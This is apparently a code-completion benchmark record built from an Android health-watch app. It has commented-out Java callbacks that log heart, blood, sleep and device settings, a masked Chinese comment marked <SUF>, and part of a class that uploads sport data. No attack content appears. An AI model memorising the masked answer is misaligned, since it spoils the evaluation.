// .sendCommand(new GetHeartData(CommandResultCallback.getCommandResultCallback(), 0, new Date().getTime() / 1000, (int) GlobalVarManager.getInstance().getHeartRateCount()));
// }
//
// // 心率
// if (baseCommand instanceof HeartRateAlarm) {
// if (baseCommand.getAction() == CommandConstant.ACTION_SET) { //设置
// Log.d(TAG, "心率预警HeartRateAlarm-set:---293---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
// if (baseCommand.getAction() == CommandConstant.ACTION_CHECK) { //查询
// Log.d(TAG, "心率预警HeartRateAlarm-read:---297---" + "HighLimit:" + GlobalVarManager.getInstance().getHighHeartLimit() + " bpm \n" +
// "LowLimit:" + GlobalVarManager.getInstance().getHighHeartLimit() + " bpm \n" +
// "AutoHeart:" + GlobalVarManager.getInstance().getAutoHeart() + " min \n" +
// "isHeartAlarm:" + GlobalVarManager.getInstance().isHeartAlarm() + "\n" +
// "isAutoHeart:" + GlobalVarManager.getInstance().isAutoHeart());
// //获取设备的心率预警状态(暂时获取本地的)
//// showTipDialog(
//// "HighLimit:" + GlobalVarManager.getInstance().getHighHeartLimit() + " bpm \n" +
//// "LowLimit:" + GlobalVarManager.getInstance().getHighHeartLimit() + " bpm \n" +
//// "AutoHeart:" + GlobalVarManager.getInstance().getAutoHeart() + " min \n" +
//// "isHeartAlarm:" + GlobalVarManager.getInstance().isHeartAlarm() + "\n" +
//// "isAutoHeart:" + GlobalVarManager.getInstance().isAutoHeart()
//// );
// }
// }
//
// if (baseCommand instanceof GetHeartData) {
// LinkedList<HeartData> heartDatas = GlobalDataManager.getInstance().getHeartDatas();
// EventBus.getDefault().post(new B18iEventBus("heartDatas", heartDatas));
// String heartDatas1 = "";
// for (HeartData heartData1 : GlobalDataManager.getInstance().getHeartDatas()) {
// heartDatas1 += "value:" + heartData1.heartRate_value + "---time:" + DateUtil.dateToSec(DateUtil.timeStampToDate(heartData1.time_stamp * 1000)) + "\n";
// }
// Log.d(TAG, "心率数据GetHeartData:---318---" + heartDatas1);
//// showTipDialog(heartDatas);
// }
// if (baseCommand instanceof ClearHeartData) {
// Log.d(TAG, "ClearHeartData:---322---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
// if (baseCommand instanceof HeartStatus) {
// if (baseCommand.getAction() == CommandConstant.ACTION_CHECK) {
// Log.d(TAG, "HeartStatus:---327---" + "status:" + GlobalVarManager.getInstance().isHeartMeasure());
//// showTipDialog("status:" + GlobalVarManager.getInstance().isHeartMeasure());
// }
// if (baseCommand.getAction() == CommandConstant.ACTION_SET) {
// Log.d(TAG, "HeartStatus:---331---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
// }
//
// // 血压
// if (baseCommand instanceof GetBloodData) {
// String bloodDatas = "";
// for (BloodData bloodData : GlobalDataManager.getInstance().getBloodDatas()) {
// bloodDatas += "bigValue:" + bloodData.bigValue + "minValue:" + bloodData.minValue + "---time:" + DateUtil.dateToSec(DateUtil.timeStampToDate(bloodData.time_stamp * 1000)) + "\n";
// }
// Log.d(TAG, "GetBloodData:---342---" + bloodDatas);
//// showTipDialog(bloodDatas);
// }
// if (baseCommand instanceof ClearBloodData) {
// Log.d(TAG, "ClearBloodData:---346---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
//
// if (baseCommand instanceof BloodStatus) {
// if (baseCommand.getAction() == CommandConstant.ACTION_CHECK) {
// Log.d(TAG, "BloodStatus:---353---" + "status:" + GlobalVarManager.getInstance().isBloodMeasure());
//// showTipDialog("status:" + GlobalVarManager.getInstance().isBloodMeasure());
// }
// if (baseCommand.getAction() == CommandConstant.ACTION_SET) {
// Log.d(TAG, "BloodStatus:---353---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
// }
// }
//
// @Override
// public void onFail(BaseCommand baseCommand) {
// if ((baseCommand instanceof WatchID)) {
// } else if (baseCommand instanceof DeviceVersion) {
// } else if (baseCommand instanceof BatteryPower) {
// } else {
// Log.d(TAG, "WatchID:---368---" + "失败");
//// showTipDialog(getResources().getString(R.string.failed));
// }
// }
//}
| 18271261642/BzlHealth | app/src/main/java/com/bozlun/health/android/h9/h9monitor/CommandResultCallback.java | 6,776 | // // 睡眠开关 | line_comment | zh-cn | //package com.example.bozhilun.android.h9.h9monitor;
//
//import android.util.Log;
//
//import com.example.bozhilun.android.B18I.evententity.B18iEventBus;
//import com.example.bozhilun.android.MyApp;
//import com.sdk.bluetooth.bean.BloodData;
//import com.sdk.bluetooth.bean.HeartData;
//import com.sdk.bluetooth.bean.SleepData;
//import com.sdk.bluetooth.bean.SportsData;
//import com.sdk.bluetooth.manage.AppsBluetoothManager;
//import com.sdk.bluetooth.manage.GlobalDataManager;
//import com.sdk.bluetooth.manage.GlobalVarManager;
//import com.sdk.bluetooth.protocol.command.base.BaseCommand;
//import com.sdk.bluetooth.protocol.command.base.CommandConstant;
//import com.sdk.bluetooth.protocol.command.bind.BindEnd;
//import com.sdk.bluetooth.protocol.command.bind.BindStart;
//import com.sdk.bluetooth.protocol.command.clear.ClearBloodData;
//import com.sdk.bluetooth.protocol.command.clear.ClearHeartData;
//import com.sdk.bluetooth.protocol.command.clear.ClearSleepData;
//import com.sdk.bluetooth.protocol.command.clear.ClearSportData;
//import com.sdk.bluetooth.protocol.command.count.AllDataCount;
//import com.sdk.bluetooth.protocol.command.data.DeviceDisplaySportSleep;
//import com.sdk.bluetooth.protocol.command.data.GetBloodData;
//import com.sdk.bluetooth.protocol.command.data.GetHeartData;
//import com.sdk.bluetooth.protocol.command.data.GetSleepData;
//import com.sdk.bluetooth.protocol.command.data.GetSportData;
//import com.sdk.bluetooth.protocol.command.data.RemindSetting;
//import com.sdk.bluetooth.protocol.command.data.SportSleepMode;
//import com.sdk.bluetooth.protocol.command.device.BatteryPower;
//import com.sdk.bluetooth.protocol.command.device.DateTime;
//import com.sdk.bluetooth.protocol.command.device.DeviceVersion;
//import com.sdk.bluetooth.protocol.command.device.Language;
//import com.sdk.bluetooth.protocol.command.device.Motor;
//import com.sdk.bluetooth.protocol.command.device.RestoreFactory;
//import com.sdk.bluetooth.protocol.command.device.TimeSurfaceSetting;
//import com.sdk.bluetooth.protocol.command.device.Unit;
//import com.sdk.bluetooth.protocol.command.device.WatchID;
//import com.sdk.bluetooth.protocol.command.expands.AutomaticCorrectionTime;
//import com.sdk.bluetooth.protocol.command.expands.CorrectionTime;
//import com.sdk.bluetooth.protocol.command.expands.Point2Zero;
//import com.sdk.bluetooth.protocol.command.expands.RemindCount;
//import com.sdk.bluetooth.protocol.command.expands.TurnPointers;
//import com.sdk.bluetooth.protocol.command.other.BloodStatus;
//import com.sdk.bluetooth.protocol.command.other.HeartStatus;
//import com.sdk.bluetooth.protocol.command.push.MsgCountPush;
//import com.sdk.bluetooth.protocol.command.setting.AutoSleep;
//import com.sdk.bluetooth.protocol.command.setting.GoalsSetting;
//import com.sdk.bluetooth.protocol.command.setting.HeartRateAlarm;
//import com.sdk.bluetooth.protocol.command.setting.SwitchSetting;
//import com.sdk.bluetooth.protocol.command.user.UserInfo;
//import com.sdk.bluetooth.utils.DateUtil;
//
//import org.greenrobot.eventbus.EventBus;
//
//import java.util.ArrayList;
//import java.util.Date;
//import java.util.LinkedList;
//import java.util.List;
//
///**
// * @aboutContent:
// * @author: 安
// * @crateTime: 2017/9/30 09:17
// * @mailBox: an.****.life@gmail.com
// * @company: 东莞速成科技有限公司
// */
//
//public class CommandResultCallback implements BaseCommand.CommandResultCallback {
//
// private final String TAG = "----->>>" + this.getClass().toString();
//
// public static CommandResultCallback getCommandResultCallback() {
// return new CommandResultCallback();
// }
//
// @Override
// public void onSuccess(BaseCommand baseCommand) {
// if ((baseCommand instanceof WatchID)) {//手表Id
// String watch = GlobalVarManager.getInstance().getWatchID();
// Log.d(TAG, "手表IDWatchID:---71---" + watch);
//// showTipDialog(watch);
// } else if (baseCommand instanceof DeviceVersion) {//设备版本
// String localVersion = GlobalVarManager.getInstance().getSoftVersion();
// Log.d(TAG, "设备版本DeviceVersion:---75---" + localVersion);
//// showTipDialog(localVersion);
// } else if (baseCommand instanceof BatteryPower) {//电池、电源
// Log.d(TAG, "电池、电源BatteryPower:---78---" + GlobalVarManager.getInstance().getBatteryPower() + "%");
//// showTipDialog(GlobalVarManager.getInstance().getBatteryPower() + "%");
// } else if (baseCommand instanceof TimeSurfaceSetting || baseCommand instanceof Unit || baseCommand instanceof Motor) {//时间显示格式、单位、马达震动
// Log.d(TAG, "时间显示格式TimeSurfaceSetting、单位Unit、马达震动Motor:---81---" + "设置成功");
//// showTipDialog(getResources().getString(R.string.successful));
// } else if (baseCommand instanceof SportSleepMode) {//运动睡眠模式
// if (GlobalVarManager.getInstance().getSportSleepMode() == 0) {
// Log.d(TAG, "运动睡眠模式SportSleepMode:---85---" + "sport model");
//// showTipDialog("sport model");
// } else {
// Log.d(TAG, "运动睡眠模式SportSleepMode:---88---" + "sleep model");
//// showTipDialog("sleep model");
// }
// } else if (baseCommand instanceof DeviceDisplaySportSleep) {//运动睡眠显示装置
// Log.d(TAG, "运动睡眠显示装置DeviceDisplaySportSleep:---92---" + "步数Step:" + GlobalVarManager.getInstance().getDeviceDisplayStep() + "step" +
// "\n 卡路里Calorie:" + GlobalVarManager.getInstance().getDeviceDisplayCalorie() + "cal" +
// "\n 距离Distance:" + GlobalVarManager.getInstance().getDeviceDisplayDistance() + "m" +
// "\n 睡眠时间Sleep time:" + GlobalVarManager.getInstance().getDeviceDisplaySleep() + "min");
// List<String> deviceDisplaySportSleepList = new ArrayList<>();
// deviceDisplaySportSleepList.add(GlobalVarManager.getInstance().getDeviceDisplayStep() + "");
// deviceDisplaySportSleepList.add(GlobalVarManager.getInstance().getDeviceDisplayCalorie() + "");
// deviceDisplaySportSleepList.add(GlobalVarManager.getInstance().getDeviceDisplayDistance() + "");
// deviceDisplaySportSleepList.add(GlobalVarManager.getInstance().getDeviceDisplaySleep() + "");
// EventBus.getDefault().post(new B18iEventBus("deviceDisplaySportSleepList", deviceDisplaySportSleepList));
//// showTipDialog("Step:" + GlobalVarManager.getInstance().getDeviceDisplayStep() + "step" +
//// "\n Calorie:" + GlobalVarManager.getInstance().getDeviceDisplayCalorie() + "cal" +
//// "\n Distance:" + GlobalVarManager.getInstance().getDeviceDisplayDistance() + "m" +
//// "\n Sleep time:" + GlobalVarManager.getInstance().getDeviceDisplaySleep() + "min");
// } else if (baseCommand instanceof BindStart || baseCommand instanceof UserInfo//绑定开始、用户信息
// || baseCommand instanceof BindEnd//绑定结束
// || baseCommand instanceof GoalsSetting//目标设置
// || baseCommand instanceof RestoreFactory || baseCommand instanceof Language) {//恢复出厂、语言
//// showTipDialog(getResources().getString(R.string.successful));
// Log.d(TAG, "绑定开始、用户信息、绑定结束、目标设置、恢复出厂、语言:---105---" + "其中一个设置成功");
// } else if (baseCommand instanceof DateTime) {//日期时间
// if (baseCommand.getAction() == CommandConstant.ACTION_CHECK) {//获取时间
//// showTipDialog(GlobalVarManager.getInstance().getDeviceDateTime());
// Log.d(TAG, "获取时间DateTime-get:---109---" + GlobalVarManager.getInstance().getDeviceDateTime());
// }
// if (baseCommand.getAction() == CommandConstant.ACTION_SET) {//设置时间
// Log.d(TAG, "获取时间DateTime-set:---112---" + "时间设置成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
// } else if (baseCommand instanceof AutoSleep) {//自动休眠
// if (baseCommand.getAction() == CommandConstant.ACTION_CHECK) {//获取
// Log.d(TAG, "自动休眠AutoSleep-get:---117---" + "enter sleep:" + GlobalVarManager.getInstance().getEnterSleepHour() + "hour" +
// "\n enter sleep:" + GlobalVarManager.getInstance().getEnterSleepMin() + "min" +
// "\n quit sleep:" + GlobalVarManager.getInstance().getQuitSleepHour() + "hour" +
// "\n quit sleep:" + GlobalVarManager.getInstance().getQuitSleepMin() + "min" +
// "\n myremind sleep cycle:" + GlobalVarManager.getInstance().getRemindSleepCycle());
//// showTipDialog("enter sleep:" + GlobalVarManager.getInstance().getEnterSleepHour() + "hour" +
//// "\n enter sleep:" + GlobalVarManager.getInstance().getEnterSleepMin() + "min" +
//// "\n quit sleep:" + GlobalVarManager.getInstance().getQuitSleepHour() + "hour" +
//// "\n quit sleep:" + GlobalVarManager.getInstance().getQuitSleepMin() + "min" +
//// "\n myremind sleep cycle:" + GlobalVarManager.getInstance().getRemindSleepCycle());
// }
// if (baseCommand.getAction() == CommandConstant.ACTION_SET) {//设置
// Log.d(TAG, "自动休眠AutoSleep-set:---124---" + "自动休眠设置成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
// } else if (baseCommand instanceof GetSportData) {//获取运动数据
// //
// int step = 0;
// int calorie = 0;
// int distance = 0;
// if (GlobalDataManager.getInstance().getSportsDatas() == null) {
//// showTipDialog("null");
// } else {
// for (SportsData sportsData : GlobalDataManager.getInstance().getSportsDatas()) {
// step += sportsData.sport_steps;
// calorie += sportsData.sport_cal;
// distance += sportsData.sport_energy;
// }
// Log.d(TAG, "获取运动数据GetSportData:---145---"
// + "Step:" + step + "step" +
// "\n Calorie:" + calorie + "cal" +
// "\n Distance:" + distance + "m");
//// showTipDialog("Step:" + step + "step" +
//// "\n Calorie:" + calorie + "cal" +
//// "\n Distance:" + distance + "m");
// }
// } else if (baseCommand instanceof GetSleepData) {//获取睡眠数据
// if (GlobalDataManager.getInstance().getSleepDatas() == null) {
// Log.d(TAG, "获取睡眠数据:---155---" + "...null...");
//// showTipDialog("null");
// } else {
// LinkedList<SleepData> sleepDatas = GlobalDataManager.getInstance().getSleepDatas();
// EventBus.getDefault().post(new B18iEventBus("sleepDatas", sleepDatas));
// // sleepData.sleep_type
// // 0:睡着
// // 1:浅睡
// // 2:醒着
// // 3:准备入睡
// // 4:退出睡眠
// // 16:进入睡眠模式
// // 17:退出睡眠模式(本次睡眠非预设睡眠)
// // 18:退出睡眠模式(本次睡眠为预设睡眠)
// String sleepStr = "";
// for (SleepData sleepData : GlobalDataManager.getInstance().getSleepDatas()) {
// sleepStr = sleepStr + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepData.sleep_time_stamp * 1000)) + " 类型:" + sleepData.sleep_type + "\n";
// }
// Log.d(TAG, "获取睡眠数据:---171---" + sleepStr);
//// showTipDialog(sleepStr);
// }
// } else if (baseCommand instanceof ClearSportData) {//清除运动数据
// Log.d(TAG, "清除运动数据ClearSportData:---175---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// } else if (baseCommand instanceof ClearSleepData) {//清除睡眠数据
// Log.d(TAG, "清除睡眠数据ClearSleepData:---178---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// } else if (baseCommand instanceof SwitchSetting) {//通知开关
// if (baseCommand.getAction() == CommandConstant.ACTION_CHECK) {//读取
// // 防丢开关
// // 自动同步开关
// // 睡眠 <SUF>
// // 自动睡眠监测开关
// // 来电提醒开关
// // 未接来电提醒开关
// // 短信提醒开关
// // 社交提醒开关
// // 邮件提醒开关
// // 日历开关
// // 久坐提醒开关
// // 超低功耗功能开关
// // 二次提醒开关
//
// // 运动心率模式开关
// // FACEBOOK开关
// // TWITTER开关
// // INSTAGRAM开关
// // QQ开关
// // WECHAT开关
// // WHATSAPP开关
// // LINE开关
// Log.d(TAG, "通知开关SwitchSetting-read:---204---" + "isAntiLostSwitch:" + GlobalVarManager.getInstance().isAntiLostSwitch()
// + "\n isAutoSyncSwitch:" + GlobalVarManager.getInstance().isAutoSyncSwitch()
// + "\n isSleepSwitch:" + GlobalVarManager.getInstance().isSleepSwitch()
// + "\n isSleepStateSwitch:" + GlobalVarManager.getInstance().isSleepStateSwitch()
// + "\n isIncomePhoneSwitch:" + GlobalVarManager.getInstance().isIncomePhoneSwitch()
// + "\n isMissPhoneSwitch:" + GlobalVarManager.getInstance().isMissPhoneSwitch()
// + "\n isSmsSwitch:" + GlobalVarManager.getInstance().isSmsSwitch()
// + "\n isSocialSwitch:" + GlobalVarManager.getInstance().isSocialSwitch()
// + "\n isMailSwitch:" + GlobalVarManager.getInstance().isMailSwitch()
// + "\n isCalendarSwitch:" + GlobalVarManager.getInstance().isCalendarSwitch()
// + "\n isSedentarySwitch:" + GlobalVarManager.getInstance().isSedentarySwitch()
// + "\n isLowPowerSwitch:" + GlobalVarManager.getInstance().isLowPowerSwitch()
// + "\n isSecondRemindSwitch:" + GlobalVarManager.getInstance().isSecondRemindSwitch()
// + "\n isSportHRSwitch:" + GlobalVarManager.getInstance().isSportHRSwitch()
// + "\n isFacebookSwitch:" + GlobalVarManager.getInstance().isFacebookSwitch()
// + "\n isTwitterSwitch:" + GlobalVarManager.getInstance().isTwitterSwitch()
// + "\n isInstagamSwitch:" + GlobalVarManager.getInstance().isInstagamSwitch()
// + "\n isQqSwitch:" + GlobalVarManager.getInstance().isQqSwitch()
// + "\n isWechatSwitch:" + GlobalVarManager.getInstance().isWechatSwitch()
// + "\n isWhatsappSwitch:" + GlobalVarManager.getInstance().isWhatsappSwitch()
// + "\n isLineSwitch:" + GlobalVarManager.getInstance().isLineSwitch());
//// showTipDialog("isAntiLostSwitch:" + GlobalVarManager.getInstance().isAntiLostSwitch()
//// + "\n isAutoSyncSwitch:" + GlobalVarManager.getInstance().isAutoSyncSwitch()
//// + "\n isSleepSwitch:" + GlobalVarManager.getInstance().isSleepSwitch()
//// + "\n isSleepStateSwitch:" + GlobalVarManager.getInstance().isSleepStateSwitch()
//// + "\n isIncomePhoneSwitch:" + GlobalVarManager.getInstance().isIncomePhoneSwitch()
//// + "\n isMissPhoneSwitch:" + GlobalVarManager.getInstance().isMissPhoneSwitch()
//// + "\n isSmsSwitch:" + GlobalVarManager.getInstance().isSmsSwitch()
//// + "\n isSocialSwitch:" + GlobalVarManager.getInstance().isSocialSwitch()
//// + "\n isMailSwitch:" + GlobalVarManager.getInstance().isMailSwitch()
//// + "\n isCalendarSwitch:" + GlobalVarManager.getInstance().isCalendarSwitch()
//// + "\n isSedentarySwitch:" + GlobalVarManager.getInstance().isSedentarySwitch()
//// + "\n isLowPowerSwitch:" + GlobalVarManager.getInstance().isLowPowerSwitch()
//// + "\n isSecondRemindSwitch:" + GlobalVarManager.getInstance().isSecondRemindSwitch()
//// + "\n isSportHRSwitch:" + GlobalVarManager.getInstance().isSportHRSwitch()
//// + "\n isFacebookSwitch:" + GlobalVarManager.getInstance().isFacebookSwitch()
//// + "\n isTwitterSwitch:" + GlobalVarManager.getInstance().isTwitterSwitch()
//// + "\n isInstagamSwitch:" + GlobalVarManager.getInstance().isInstagamSwitch()
//// + "\n isQqSwitch:" + GlobalVarManager.getInstance().isQqSwitch()
//// + "\n isWechatSwitch:" + GlobalVarManager.getInstance().isWechatSwitch()
//// + "\n isWhatsappSwitch:" + GlobalVarManager.getInstance().isWhatsappSwitch()
//// + "\n isLineSwitch:" + GlobalVarManager.getInstance().isLineSwitch()
//// );
// }
// if (baseCommand.getAction() == CommandConstant.ACTION_SET) {//设置
// Log.d(TAG, "通知开关SwitchSetting-write:---249---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
// } else if (baseCommand instanceof MsgCountPush) {
// Log.d(TAG, "MsgCountPush:---253---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// } else if (baseCommand instanceof TurnPointers) {
// Log.d(TAG, "TurnPointers:---256---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// } else if (baseCommand instanceof AutomaticCorrectionTime) {//自动校正时间
// Log.d(TAG, "自动校正时间AutomaticCorrectionTime:---259---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// } else if (baseCommand instanceof CorrectionTime) {//校正时间
// Log.d(TAG, "校正时间CorrectionTime:---262---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// } else if (baseCommand instanceof Point2Zero) {//零点
// Log.d(TAG, "零点Point2Zero:---265---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
// //提醒相关
// else if (baseCommand instanceof RemindCount) {
// Log.d(TAG, "提醒数量RemindCount-read:---270---" + GlobalVarManager.getInstance().getRemindCount());
//// showTipDialog(GlobalVarManager.getInstance().getRemindCount() + "");
// } else if (baseCommand instanceof RemindSetting) {
// Log.d(TAG, "提醒数量RemindCount-set:---273---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
//
// // all data count
// if (baseCommand instanceof AllDataCount) {
// Log.d(TAG, "AllDataCount:---279---" + "SportCount:" + GlobalVarManager.getInstance().getSportCount()
// + "\n SleepCount:" + GlobalVarManager.getInstance().getSleepCount()
// + "\n HeartRateCount:" + GlobalVarManager.getInstance().getHeartRateCount()
// + "\n BloodCount:" + GlobalVarManager.getInstance().getBloodCount());
//// showTipDialog("SportCount:" + GlobalVarManager.getInstance().getSportCount()
//// + "\n SleepCount:" + GlobalVarManager.getInstance().getSleepCount()
//// + "\n HeartRateCount:" + GlobalVarManager.getInstance().getHeartRateCount()
//// + "\n BloodCount:" + GlobalVarManager.getInstance().getBloodCount()
//// );
// AppsBluetoothManager.getInstance(MyApp.getInstance())
// .sendCommand(new GetHeartData(CommandResultCallback.getCommandResultCallback(), 0, new Date().getTime() / 1000, (int) GlobalVarManager.getInstance().getHeartRateCount()));
// }
//
// // 心率
// if (baseCommand instanceof HeartRateAlarm) {
// if (baseCommand.getAction() == CommandConstant.ACTION_SET) { //设置
// Log.d(TAG, "心率预警HeartRateAlarm-set:---293---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
// if (baseCommand.getAction() == CommandConstant.ACTION_CHECK) { //查询
// Log.d(TAG, "心率预警HeartRateAlarm-read:---297---" + "HighLimit:" + GlobalVarManager.getInstance().getHighHeartLimit() + " bpm \n" +
// "LowLimit:" + GlobalVarManager.getInstance().getHighHeartLimit() + " bpm \n" +
// "AutoHeart:" + GlobalVarManager.getInstance().getAutoHeart() + " min \n" +
// "isHeartAlarm:" + GlobalVarManager.getInstance().isHeartAlarm() + "\n" +
// "isAutoHeart:" + GlobalVarManager.getInstance().isAutoHeart());
// //获取设备的心率预警状态(暂时获取本地的)
//// showTipDialog(
//// "HighLimit:" + GlobalVarManager.getInstance().getHighHeartLimit() + " bpm \n" +
//// "LowLimit:" + GlobalVarManager.getInstance().getHighHeartLimit() + " bpm \n" +
//// "AutoHeart:" + GlobalVarManager.getInstance().getAutoHeart() + " min \n" +
//// "isHeartAlarm:" + GlobalVarManager.getInstance().isHeartAlarm() + "\n" +
//// "isAutoHeart:" + GlobalVarManager.getInstance().isAutoHeart()
//// );
// }
// }
//
// if (baseCommand instanceof GetHeartData) {
// LinkedList<HeartData> heartDatas = GlobalDataManager.getInstance().getHeartDatas();
// EventBus.getDefault().post(new B18iEventBus("heartDatas", heartDatas));
// String heartDatas1 = "";
// for (HeartData heartData1 : GlobalDataManager.getInstance().getHeartDatas()) {
// heartDatas1 += "value:" + heartData1.heartRate_value + "---time:" + DateUtil.dateToSec(DateUtil.timeStampToDate(heartData1.time_stamp * 1000)) + "\n";
// }
// Log.d(TAG, "心率数据GetHeartData:---318---" + heartDatas1);
//// showTipDialog(heartDatas);
// }
// if (baseCommand instanceof ClearHeartData) {
// Log.d(TAG, "ClearHeartData:---322---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
// if (baseCommand instanceof HeartStatus) {
// if (baseCommand.getAction() == CommandConstant.ACTION_CHECK) {
// Log.d(TAG, "HeartStatus:---327---" + "status:" + GlobalVarManager.getInstance().isHeartMeasure());
//// showTipDialog("status:" + GlobalVarManager.getInstance().isHeartMeasure());
// }
// if (baseCommand.getAction() == CommandConstant.ACTION_SET) {
// Log.d(TAG, "HeartStatus:---331---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
// }
//
// // 血压
// if (baseCommand instanceof GetBloodData) {
// String bloodDatas = "";
// for (BloodData bloodData : GlobalDataManager.getInstance().getBloodDatas()) {
// bloodDatas += "bigValue:" + bloodData.bigValue + "minValue:" + bloodData.minValue + "---time:" + DateUtil.dateToSec(DateUtil.timeStampToDate(bloodData.time_stamp * 1000)) + "\n";
// }
// Log.d(TAG, "GetBloodData:---342---" + bloodDatas);
//// showTipDialog(bloodDatas);
// }
// if (baseCommand instanceof ClearBloodData) {
// Log.d(TAG, "ClearBloodData:---346---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
//
// if (baseCommand instanceof BloodStatus) {
// if (baseCommand.getAction() == CommandConstant.ACTION_CHECK) {
// Log.d(TAG, "BloodStatus:---353---" + "status:" + GlobalVarManager.getInstance().isBloodMeasure());
//// showTipDialog("status:" + GlobalVarManager.getInstance().isBloodMeasure());
// }
// if (baseCommand.getAction() == CommandConstant.ACTION_SET) {
// Log.d(TAG, "BloodStatus:---353---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
// }
// }
//
// @Override
// public void onFail(BaseCommand baseCommand) {
// if ((baseCommand instanceof WatchID)) {
// } else if (baseCommand instanceof DeviceVersion) {
// } else if (baseCommand instanceof BatteryPower) {
// } else {
// Log.d(TAG, "WatchID:---368---" + "失败");
//// showTipDialog(getResources().getString(R.string.failed));
// }
// }
//}
| 1 |
56780_18 | package com.guider.healthring.h9.h9monitor;
import android.text.TextUtils;
import android.util.Log;
import com.guider.healthring.B18I.b18iutils.B18iUtils;
import com.guider.healthring.Commont;
import com.guider.healthring.MyApp;
import com.guider.healthring.bleutil.MyCommandManager;
import com.guider.healthring.h9.utils.H9TimeUtil;
import com.guider.healthring.net.OkHttpObservable;
import com.guider.healthring.rxandroid.CommonSubscriber;
import com.guider.healthring.rxandroid.SubscriberOnNextListener;
import com.guider.healthring.siswatch.utils.WatchUtils;
import com.guider.healthring.util.SharedPreferencesUtils;
import com.guider.healthring.util.URLs;
import com.sdk.bluetooth.bean.SleepData;
import com.sdk.bluetooth.bean.SportsData;
import com.sdk.bluetooth.utils.DateUtil;
import com.suchengkeji.android.w30sblelibrary.utils.SharedPreferenceUtil;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.LinkedList;
/**
* @aboutContent:
* @author: 安
* @crateTime: 2017/12/11 15:55
* @mailBox: an.****.life@gmail.com
* @company: 东莞速成科技有限公司
*/
public class UpDatasBase {
public static final String TAG = "UpDatasBase";
/**************获取睡眠---测试****************/
//获取睡眠
private void getSleepDATAS(final int week) {
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
String sleepUrl = URLs.HTTPs + "/sleep/getSleepByTime";
JSONObject sleepJson = new JSONObject();
try {
sleepJson.put("userId", SharedPreferencesUtils.readObject(MyApp.getContext(), "userId"));
sleepJson.put("deviceCode", SharedPreferencesUtils.readObject(MyApp.getContext(), Commont.BLEMAC));
sleepJson.put("startDate", sdf.format(WatchUtils.getDateBefore(sdf.parse(WatchUtils.getCurrentDate()), week)));
sleepJson.put("endDate", WatchUtils.getCurrentDate());
} catch (JSONException e) {
e.printStackTrace();
} catch (ParseException e) {
e.printStackTrace();
}
SubscriberOnNextListener subscriberOnNextListener = new SubscriberOnNextListener<String>() {
@Override
public void onNext(String result) {
Log.e(TAG, "----获取睡眠返回----" + result);
}
};
CommonSubscriber commonSubscriber = new CommonSubscriber(subscriberOnNextListener, MyApp.getContext());
OkHttpObservable.getInstance().getData(commonSubscriber, sleepUrl, sleepJson.toString());
}
/********************************************/
/**
* 前几天运动分配 (准备上传)
*
* @param sportsDatas
* @param numberDay
*/
public static void upSportDatasCrrur(LinkedList<SportsData> sportsDatas, int numberDay, float GOAL) {
int step = 0;
int calorie = 0;
// String nextDay = B18iUtils.getNextNumberDay(numberDay);//前numberDay天时间
Date dateBefore = H9TimeUtil.getDateBefore(new Date(), numberDay);
String nextDay = H9TimeUtil.getValidDateStr(dateBefore);
for (SportsData sportsData : sportsDatas) {
String strTimes = B18iUtils.getStrTimes(String.valueOf(sportsData.getSport_time_stamp()));//时间戳转换
String substring = strTimes.substring(0, 10);
Log.d("-------------TEMT---time", substring + "===" + nextDay);
if (nextDay.equals(substring)) {
step += sportsData.sport_steps;
calorie += sportsData.sport_cal;
}
Log.d("-------------", "Step:" + step + "step" + "Calorie:" + calorie + "cal");
}
Log.d("-------------==", "Step:" + step + "step" + "Calorie:" + calorie + "cal");
int dis = 0;
String sex = "M";
String hight = "175";
if ("M".equals(sex)) {
dis = (int) (Integer.valueOf(hight) * 0.415 * step);
} else {
dis = (int) (Integer.valueOf(hight) * 0.413 * step);
}
String upSportTimes = (String) SharedPreferencesUtils.getParam(MyApp.getContext(), "upSportTimes", "");
if (!TextUtils.isEmpty(upSportTimes)) {
String timeDifference = H9TimeUtil.getTimeDifference(upSportTimes, B18iUtils.getSystemDataStart());
if (!TextUtils.isEmpty(timeDifference)) {
int number = Integer.valueOf(timeDifference.trim());
int number2 = Integer.parseInt(timeDifference.trim());
if (number >= 1000 || number2 >= 1000) {
updateLoadSportToServer2(GOAL, step, calorie, dis, H9TimeUtil.getValidDateStr2(dateBefore));
SharedPreferencesUtils.setParam(MyApp.getContext(), "upSportTimes", B18iUtils.getSystemDataStart());
}
}
} else {
updateLoadSportToServer2(GOAL, step, calorie, dis, H9TimeUtil.getValidDateStr2(dateBefore));
SharedPreferencesUtils.setParam(MyApp.getContext(), "upSportTimes", B18iUtils.getSystemDataStart());
}
}
/**
* 前几天运动上传
*
* @param goal
* @param step
* @param calories
* @param distance
* @param nextDay
*/
public static void updateLoadSportToServer2(float goal, float step, double calories, double distance, String nextDay) {
Log.d("-------------TEMT---time", "运动上传----2----" + nextDay);
Log.e(TAG, "--aaaaaaaaaaaaaaaa--运动上传-2-------" + goal + "==" + step + "==" + calories + "==" + distance + "==" + nextDay);
int state = 1; //步数是否达标
if (goal <= step) { //达标
state = 0;
} else {
state = 1;
}
